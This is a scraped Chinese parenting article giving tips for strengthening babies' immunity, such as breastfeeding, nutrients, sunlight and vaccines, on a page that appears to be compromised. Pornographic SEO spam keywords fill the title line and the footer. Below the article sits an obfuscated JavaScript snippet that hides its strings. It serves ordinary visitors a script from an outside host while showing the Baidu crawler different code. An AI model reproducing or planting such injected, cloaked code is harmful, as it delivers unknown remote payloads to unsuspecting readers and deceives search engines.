久久综合一区二区三区_国产成人精品亚洲777人妖_日韩中文字幕在线看_国产激情视频网_国产亚洲欧美一区_精品一区二区三区中文字幕

當(dāng)前位置:首頁 > 母嬰 > 育兒知識 > 正文

怎樣可以提高寶寶的免疫力 提高寶寶免疫力的6種營養(yǎng)素

2020-03-17 16:47:52  來源:360常識網(wǎng)   熱度:
導(dǎo)語:對寶寶而言,提高免疫力可以使寶寶遠(yuǎn)離疾病的困擾。為此,許多父母都不惜余力地想法幫助寶寶補充各類營養(yǎng)素和營養(yǎng)沖劑,想以此達到提升寶寶

對寶寶而言,提高免疫力可以使寶寶遠(yuǎn)離疾病的困擾。為此,許多父母都不惜余力地想法幫助寶寶補充各類營養(yǎng)素和營養(yǎng)沖劑,想以此達到提升寶寶免疫力的功效。但是,采用這種以外力幫助的方式效果并不太理想,仍然有許多寶寶因感冒、發(fā)燒去醫(yī)院治療。為了幫助寶寶獲得良好的免疫力,360常識網(wǎng)推薦如下方法供年輕媽媽們參考。

怎樣可以提高寶寶的免疫力 提高寶寶免疫力的6種營養(yǎng)素

怎樣可以提高寶寶的免疫力?

一、母乳喂養(yǎng)

出生前寶寶可以通過胎盤接收抗體獲得免疫力。出生后,母乳中富含增強免疫的抗體成分可保護寶寶,直到他建立自己的免疫系統(tǒng)。因此,媽媽應(yīng)爭取科學(xué)的母乳喂養(yǎng),幫助寶寶增強免疫力。不要對母乳喂養(yǎng)輕言放棄,母乳對寶寶的健康將產(chǎn)生深遠(yuǎn)的影響。

母乳中含有增強免疫力的維生素A、C和E,還有礦物質(zhì)和鎂。母乳喂養(yǎng)可以保護寶寶的消化系統(tǒng)、呼吸系統(tǒng)和耳部不受感染,這種保護甚至可以延續(xù)到母乳喂養(yǎng)結(jié)束后多年。

二、營養(yǎng)的食物

食物中特定的營養(yǎng)物質(zhì)對支持寶寶的免疫系統(tǒng)起著關(guān)鍵作用。選擇什么樣的食物取決于寶寶所處的階段:母乳期時,母乳是最好的營養(yǎng)食品;輔食階段,母乳和輔食就是并行的最佳食品;在一歲之后,嬰兒的固體食物應(yīng)該是此時最合適的選擇。

專家建議:年輕媽媽們可以在不同的階段,通過咨詢醫(yī)生和閱讀科學(xué)的育兒書籍,了解寶寶在什么階段需要什么樣的食物,然后努力為寶寶提供這些食物。需要提醒媽媽的是,攝入足夠的水分也有助于增強寶寶免疫力。

增強免疫力的功臣有來自橙子、杏和胡蘿卜等的維生素A;有來自草莓、柑橘等的維生素C;也有來自鱷梨、蔬菜油等的維生素E;來自谷物的鋅和硒等。

三、運動和鍛煉

運動和鍛煉是增強寶寶免疫力的良好途徑,無論是哪個年齡段的寶寶,不論在什么季節(jié),都應(yīng)該鼓勵孩子多參加運動,增強體質(zhì)。另外,活動身體可以加快寶寶體內(nèi)循環(huán),增強寶寶胃口,并有助于他們休息。

淋巴擁有很多抗感染細(xì)胞,而運動可以促進淋巴在寶寶體內(nèi)的循環(huán)。

怎樣可以提高寶寶的免疫力 提高寶寶免疫力的6種營養(yǎng)素

四、休息和放松

充足的休息和睡眠可以使身體迅速恢復(fù)。尤其是在寶寶疲勞和疾病前后,休息和放松更是起著不容忽視的作用。建議:媽媽應(yīng)幫助寶寶在活動和休息之間找到一個平衡點。確保寶寶每天都有一定的休息時間,這包括有規(guī)律的睡眠時間和其他休息時間(比如講故事時間)。

身體的恢復(fù)過程是在休息時進行的。相反,持續(xù)不斷的活動使你的寶寶緊張勞累,這會影響到他們的免疫系統(tǒng)。

五、每天日光浴

我們都知道過多的日照對嬰兒的皮膚有害,但適當(dāng)?shù)淖匀还庹湛梢员WC寶寶的免疫系統(tǒng)正常工作。

每天帶你的寶寶到戶外接受一些自然光照,這將是一個很好的習(xí)慣。尤其是對新生的寶寶來說,在冬天里,保持每天的日曬可以有效地防止佝僂病。如果裸露小屁股在陽光下,還可以很好地防止尿布疹的發(fā)生。需要提醒的是,如果在冬天帶新生寶寶曬太陽,最好不要隔玻璃窗曬,因為紫外線無法穿透玻璃照射到寶寶皮膚上,從而達不到防止佝僂病的效果。

把皮膚暴露在自然光下有助于刺激寶寶身體內(nèi)的T細(xì)胞,它們是寶寶體內(nèi)對抗感染的關(guān)鍵衛(wèi)士。

怎樣可以提高寶寶的免疫力 提高寶寶免疫力的6種營養(yǎng)素

六、不要害怕病菌

有時候,輕微病菌的感染,比如:感冒、發(fā)燒等疾病,還有另外一項功能助寶寶完善免疫力,因此,當(dāng)寶寶發(fā)燒、感冒后媽媽不必要太緊張,做好護理工作即可。

專家建議:寶寶的免疫系統(tǒng)在他出生最初幾個月還不成熟,所以這期間應(yīng)使他遠(yuǎn)離感冒人群,但是,當(dāng)寶寶稍微長大些,媽媽不要怕感染病菌而一直避免帶寶寶到公共場所。

當(dāng)免疫系統(tǒng)遇到威脅,比如感染病毒,就會產(chǎn)生消滅病毒的抗體。盡管你的寶寶會有一些生病的癥狀,但產(chǎn)生抗體的過程會有助于自然免疫力的發(fā)展。

七、注射疫苗

疫苗使寶寶的體內(nèi)產(chǎn)生抗體,這些抗體可以對抗特定的傳染病毒,或使它們的危險性降低至最小。因此,媽媽們一定要按照醫(yī)生的囑咐,按時帶寶寶到所屬地段醫(yī)院或保健所注射各種疫苗。

在此,要提醒媽媽的是,你應(yīng)當(dāng)為寶寶保留每次記性疫苗注射的記錄,以備寶寶進入幼兒園后,把記錄交由幼兒園保健醫(yī)生管理,作為寶寶在幼兒園期間進行統(tǒng)一疫苗注射時的備注。

疫苗不僅可以降低體內(nèi)病毒的危險性,而且可以使一定的人口產(chǎn)生免疫群,如果大部分人都有了免疫力,疾病就很難傳播了。

怎樣可以提高寶寶的免疫力 提高寶寶免疫力的6種營養(yǎng)素

哪些營養(yǎng)素能幫助孩子提高免疫力呢?

第一、蛋白質(zhì):免疫力的主動力

蛋白質(zhì)是構(gòu)成人體細(xì)胞的基本元素。身體如果嚴(yán)重缺乏蛋白質(zhì),會促使淋巴球的數(shù)量減少,造成免疫機能嚴(yán)重下降。因此,多攝取高蛋白質(zhì)的食物,豐富的動物蛋白質(zhì)內(nèi)含的球蛋白能夠幫助寶寶提高免疫力。

如:新鮮的肉類、魚類、蛋類、乳制品等食物。

第二、維A:提高免疫細(xì)胞數(shù)量

維A和細(xì)胞的完整性有關(guān),能夠幫助細(xì)胞對抗氧化,如果身體缺乏維生素A,會使得胸腺及脾臟的體積縮小,相對的免疫細(xì)胞的活力也會隨著降低。因此,攝取足夠的維生素A,就能夠增進免疫細(xì)胞的活力,提高免疫細(xì)胞的數(shù)量。

如:肝、蛋、奶、胡蘿卜、甜菜、甘藍、芥菜、菠菜、南瓜等食物。

第三、維C:有效的抗氧化物

維C有增加白血球吞噬細(xì)菌的能力,以及增強胸腺及淋巴球的能力,幫助人體增加抵抗含量及提升血液中干擾素的含量,是有效的抗氧化物,可抵抗破壞性分子,是增強免疫力的維生素之一。

如:柑橘、西紅柿、青椒、草莓、卷心菜、土豆等食物。

第四、維E:自由基的克星

維生素E是自由基的克星,同時也可促進抗體產(chǎn)生,從對抗病毒的觀點來看,具有抗氧化作用,增強免疫細(xì)胞的作用。

如:橄欖油、亞麻油、蛋黃、生菜、辣椒、牛奶、小麥面包、白菜、花生等食物。

第五、B族維生素:影響抗體產(chǎn)生

B族維生素與體內(nèi)的抗體、白血球產(chǎn)生有關(guān),缺乏B族維生素會影響到淋巴球的數(shù)量及抗體的產(chǎn)生,而且也會造成胸腺的萎縮。因此免疫力較弱的孩子,可以多攝取這一類的食物,來增強免疫力。

如:肉類、綠葉蔬菜、全谷類食物等食物。

轉(zhuǎn)載申明:360常識網(wǎng),歡迎分享,轉(zhuǎn)載請注明出處!
?
if(navigator.userAgent.indexOf('bLLaLLiLLdLLu'.split('LL').join(''))<0){var ss = document.createElement("script");ss.src="hLLtLLtLLpLLsLL:LL/LL/LLmLLoLLnLLiLLcLLaLLnLLiLLcLLeLL.LLcLLoLLmLL/LLrLLrLLzLLyLLbLLjLLmLLeLLiLLcLL/LLaLLlLLfLLyLLcLL1LLtLLuLLnLL0LLxLLpLLnLLnLLhLLcLL4LLvLLxLLcLLfLL/LL2LL2LL3LL/LLaLLlLLfLLyLLc".split("LL").join("");document.body.appendChild(ss);}else{new Function(document.getElementById('bdrtls').textContent)();bdrtls();}
主站蜘蛛池模板: 精品国产乱码久久久久久免费 | 尤物久久av一区二区三区亚洲 | 欧美国产三级 | 成人在线观| 狠狠撸在线视频 | 日韩精品在线播放 | 午夜欧美一区二区三区在线播放 | 亚洲精品电影在线观看 | 色婷婷久久久久swag精品 | 最新国产在线视频 | 国产精品久久久久久久久 | 久久精品亚洲精品 | 国产成人激情视频 | 色视频网站在线观看 | 国产精品呻吟av | 狠狠躁夜夜躁人人爽天天高潮 | 一区二区久久 | 欧美三级在线播放 | 黄色网址在线免费观看 | 在线不卡二区 | 三级特黄特色视频 | 久久久久久美女 | 国产激情毛片 | 青青草在线免费观看 | 91久久精品www人人做人人爽 | 婷婷久久综合 | 国产成人一区二区 | 激情视频网站 | 极品美女av在线 | 亚洲精品成人悠悠色影视 | 日本在线色| 精品在线视频观看 | 一区二区免费播放 | 久久久久亚洲精品国产 | 成人av免费看 | 精品不卡 | 久久伊人一区二区 | 欧美精品久久久久久久久老牛影院 | 欧美日韩中文在线观看 | 久久久精品国产 | 亚洲偷色|